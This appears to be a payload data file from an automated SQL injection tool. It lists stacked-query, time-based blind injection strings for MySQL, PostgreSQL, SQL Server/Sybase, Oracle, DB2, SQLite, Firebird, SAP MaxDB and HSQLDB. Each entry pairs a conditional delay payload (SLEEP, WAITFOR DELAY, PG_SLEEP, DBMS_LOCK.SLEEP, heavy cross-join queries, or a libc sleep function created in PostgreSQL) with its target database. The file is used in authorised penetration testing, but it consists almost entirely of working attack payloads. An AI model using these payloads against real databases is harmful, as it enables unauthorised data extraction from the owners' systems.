MySQL > 5.0.11 stacked queries (SELECT - comment) 4 1 1 0 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL > 5.0.11
MySQL > 5.0.11 stacked queries (SELECT) 4 2 1 0 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL > 5.0.11
MySQL > 5.0.11 stacked queries (comment) 4 2 1 0 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) #
MySQL > 5.0.11
MySQL > 5.0.11 stacked queries 4 3 1 0 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME])
MySQL > 5.0.11
MySQL < 5.0.12 stacked queries (heavy query - comment) 4 2 2 0 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL
MySQL < 5.0.12 stacked queries (heavy query) 4 4 2 0 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL
PostgreSQL > 8.1 stacked queries (comment) 4 1 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) --
PostgreSQL > 8.1
PostgreSQL > 8.1 stacked queries 4 4 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME])
PostgreSQL > 8.1
PostgreSQL stacked queries (heavy query - comment) 4 2 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) --
PostgreSQL
PostgreSQL stacked queries (heavy query) 4 5 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
PostgreSQL
PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) --
PostgreSQL < 8.2 Linux
PostgreSQL < 8.2 stacked queries (Glibc) 4 5 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
PostgreSQL < 8.2 Linux
Microsoft SQL Server/Sybase stacked queries (comment) 4 1 1 0 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' --
Microsoft SQL Server Sybase Windows
Microsoft SQL Server/Sybase stacked queries 4 4 1 0 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]'
Microsoft SQL Server Sybase Windows
Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 1 1 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL --
Oracle
Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) 4 4 1 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
Oracle
Oracle stacked queries (heavy query - comment) 4 2 2 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 --
Oracle
Oracle stacked queries (heavy query) 4 5 2 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
Oracle
Oracle stacked queries (DBMS_LOCK.SLEEP - comment) 4 4 1 0 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END --
Oracle
Oracle stacked queries (DBMS_LOCK.SLEEP) 4 5 1 0 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
Oracle
Oracle stacked queries (USER_LOCK.SLEEP - comment) 4 5 1 0 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END --
Oracle
Oracle stacked queries (USER_LOCK.SLEEP) 4 5 1 0 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
Oracle
IBM DB2 stacked queries (heavy query - comment) 5 3 2 1,2,3,9 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 --
IBM DB2
IBM DB2 stacked queries (heavy query) 5 5 2 1,2,3,9 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
IBM DB2
SQLite > 2.0 stacked queries (heavy query - comment) 4 3 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
SQLite > 2.0 stacked queries (heavy query) 4 5 2 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
Firebird stacked queries (heavy query - comment) 4 4 2 0 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 --
Firebird >= 2.0
Firebird stacked queries (heavy query) 4 5 2 0 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
Firebird >= 2.0
SAP MaxDB stacked queries (heavy query - comment) 5 4 2 1,2,3,9 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 --
SAP MaxDB
SAP MaxDB stacked queries (heavy query) 5 5 2 1,2,3,9 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
SAP MaxDB
HSQLDB >= 1.7.2 stacked queries (heavy query - comment) 4 4 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 stacked queries (heavy query) 4 5 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 2.0 stacked queries (heavy query - comment) 4 4 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB >= 2.0
HSQLDB >= 2.0 stacked queries (heavy query) 4 5 2 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB >= 2.0